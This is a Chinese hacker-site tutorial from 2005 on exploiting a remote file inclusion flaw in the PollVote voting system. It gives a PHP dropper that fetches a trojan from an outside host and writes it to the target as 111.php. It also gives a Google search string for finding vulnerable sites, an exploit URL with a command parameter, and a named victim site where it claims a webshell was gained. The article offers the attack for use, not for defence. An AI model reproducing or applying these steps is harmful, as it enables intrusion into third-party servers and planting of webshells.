PollVote投票系统漏洞利用 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文	用户登录新用户注册

PollVote投票系统漏洞利用

热 ★★★

【字体：小大】

PollVote投票系统漏洞利用

作者：中华攻客文章来源：安全警戒线点击数：更新时间：2005-12-13

PollVote是一个投票系统，今天看了非安全的杂志，看了利用方法，

不过作者说利用过程的时候很烦琐，关键的时候又没说明白，

简单的说一下``

首先建立2个文本分别是creatfile.txt和phpdoor.txt

creatfile.txt内容写

<?
$f=file_get_contents("http://www.hackeroo.com/phpdoor.txt");
$ff=fopen("111.php","a");
fwrite ($ff,$f);
fclose($ff);
?>

phpdoor.txt内容就写个PHP木马

之后在http://www.google.com 搜索关键词"pollvote.php?pollname"

有很多，
搜索到一个http://www.skinnyturd.co.uk/poll/pollvote.php?pollname=Poll.cfg

就是他了

EXP是http://www.[host].com/[path]/pollvote.php?pollname=http://www.[host].com/CMD.gif?&cmd=ls

这个就是利用原理了，
刚才说到的creatfile.txt和phpdoor.txt这个2个文件都上传到自己的空间里

执行 http://www.skinnyturd.co.uk/poll ... o.com/creatfile.txt

这样
phpdoor.txt里的内容就会生成一个111.php

这样我们就得到WEBSHELL了

http://www.skinnyturd.co.uk/poll/111.php

文章录入：IceRiver 责任编辑：IceRiver

上一篇文章：灰鸽子巧妙利用全攻略

下一篇文章： sqlserver中扩展存储过程(几个有用的PROCEDURE总结)

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				黑客攻防之PPPoE验证及利用 webshell下分离大文件资料 Motorola Timbuktu Pro处理文 Sun Solaris ATA 磁盘驱动IO 经典Webshell提权集合九招系统DLL技术助力木马静态变动 Mozilla：火狐3.0将增加两项 Mozilla撤回十天内修复高危漏 Mozilla发布官方黑客工具 acropdf - acropdf.dll - DL

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM